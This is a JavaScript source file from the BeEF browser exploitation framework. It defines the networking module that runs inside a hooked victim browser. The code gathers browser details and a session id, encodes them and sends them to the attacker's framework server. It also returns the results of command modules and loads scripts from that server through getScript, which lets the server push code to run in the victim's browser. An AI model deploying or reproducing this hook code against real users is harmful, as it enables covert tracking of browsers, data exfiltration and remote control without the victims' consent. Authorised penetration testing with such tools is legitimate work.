beef/modules/beefjs/net.js

/*!
 * @literal object: beef.net
 *
 * Provides basic networking functions.
 */
beef.net = {
	
	beef_url: "<%= @beef_url %>",
	beef_hook: "<%= @beef_hook %>",
	beef_queue: [],

	
	/**
	 * Build param string from hash.
	 */
	construct_params_from_hash: function(param_array) {
		
		param_str = "";
		
		for (var param_name in param_array) {
			param_str = this.construct_params(param_str, param_name, param_array[param_name])
		}
		
		return param_str;
	},
	
	/**
	 * Build param string.
	 */
	construct_params: function(param_str, key, value) {
		
		// if param_str is not a str make it so
		if (typeof(param_str) != 'string') param_str = '';
		
		if (param_str != "" ) { param_str += "&"; } // if not the first param add an '&'
		param_str += key;
		param_str += "=";
		param_str += beef.encode.base64.encode(value);
		
		return param_str;
	},
	
	/**
	 * Performs http requests.
	 * @param: {String} the url to send the request to.
	 * @param: {String} the method to use: GET or POST - **NOTE** This param now ignored
	 * @param: {Function} the handler to callback once the http request has been performed.
	 * @param: {String} the parameters to send for a POST request.
	 * 
	 * @example: beef.net.raw_request("http://beef.com/", 'POST', handlerfunction, "param1=value1&param2=value2");
	 */
	raw_request: function(url, method, handler, params) {		
		$j.getScript( url + '?' + params);
	},
	
	/**
	 * Performs http requests with browoser id.
	 * @param: {String} the url to send the request to.
	 * @param: {String} the method to use: GET or POST - **NOTE** This param now ignored
	 * @param: {Function} the handler to callback once the http request has been performed.
	 * @param: {String} the parameters to send for a POST request.
	 * 
	 * @example: beef.net.request("http://beef.com/", 'POST', handlerfunction, "param1=value1&param2=value2");
	 */
	request: function(url, method, handler, params) {
		params += '&BEEFHOOK=' + BEEFHOOK; // append browser id
		this.raw_request(url, method, handler, params);
	},
	
	/**
	 * Send browser details back to the framework. This function will gather the details 
	 * and send them back to the framework
	 * 
	 * @example: beef.net.sendback_browser_details();
	 */
	sendback_browser_details: function() {
		// get hash of browser details
		var details = beef.browser.getDetails();
		
		// get the hook session id
		details['HookSessionID'] = beef.session.get_hook_session_id();
		
		// contruct param string
		var params = this.construct_params_from_hash(details);
		
		// return data to the framework
		this.sendback("/init", 0, params);
	},
	
	/**
	 * Queues a communication request to be sent the next time the hook updates
	 * @param: {String} The url to return the results to.
	 * @param: {Integer} The command id that launched the command module.
	 * @param: {String/Object} The results to send back.
	 * @param: {Function} the handler to callback once the http request has been performed.
	 * 
	 * @example: beef.net.queue("/commandmodule/prompt_dialog.js", 19, "answer=zombie_answer");
	 */
	queue: function(commandmodule, command_id, results, handler) {
		this.beef_queue.push({'command':commandmodule, 'cid':command_id, 'results':results, 'handler':handler});
	},
	
	/**
	 * Sends results back to the BeEF framework.
	 * @param: {String} The url to return the results to.
	 * @param: {Integer} The command id that launched the command module.
	 * @param: {String/Object} The results to send back.
	 * @param: {Function} the handler to callback once the http request has been performed.
	 * 
	 * @example: beef.net.sendback("/commandmodule/prompt_dialog.js", 19, "answer=zombie_answer");
	 */
	sendback: function(commandmodule, command_id, results, handler) {
		beef.net.queue(commandmodule, command_id, results, handler);
		beef.net.flush_queue();
	},
	
	/**
	 * Sends results back to the BeEF framework.
	 */
	flush_queue: function() {
		for (var i in this.beef_queue)
		{
			var results = this.beef_queue[i]['results'];
			if(typeof results == 'object') {
				s_results = '';
				for(key in results) {
					s_results += key + '=' + escape(results[key].toString()) + '&';
				}
				results = s_results;
			}
			
			if(typeof results == 'string' && typeof this.beef_queue[i]['cid'] == 'number') {
				results += '&command_id='+this.beef_queue[i]['cid'];
				this.request(this.beef_url + this.beef_queue[i]['command'], 'POST', this.beef_queue[i]['handler'], results);
			}
			this.beef_queue[i]['expunge'] = true;
		}
		beef.net.expunge_queue();
	},
	
	/**
	 * Cleans queue of commands that have been executed
	 */
	expunge_queue: function() {
		for (var i = 0; i < this.beef_queue.length; i++)
		{
			if (this.beef_queue[i] && this.beef_queue[i]['expunge'])
			{
				this.beef_queue.splice(i,1);
			}
		}
	}
	
};

beef.regCmp('beef.net');